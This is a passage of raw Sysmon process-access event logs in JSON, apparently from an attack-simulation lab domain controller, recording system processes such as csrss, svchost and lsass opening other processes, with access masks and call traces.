11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nTargetProcessId: 2204\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","TargetProcessId":"2204","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001086400100}\r\nTargetProcessId: 2212\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001086400100}","TargetProcessId":"2212","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.500\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 2000\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 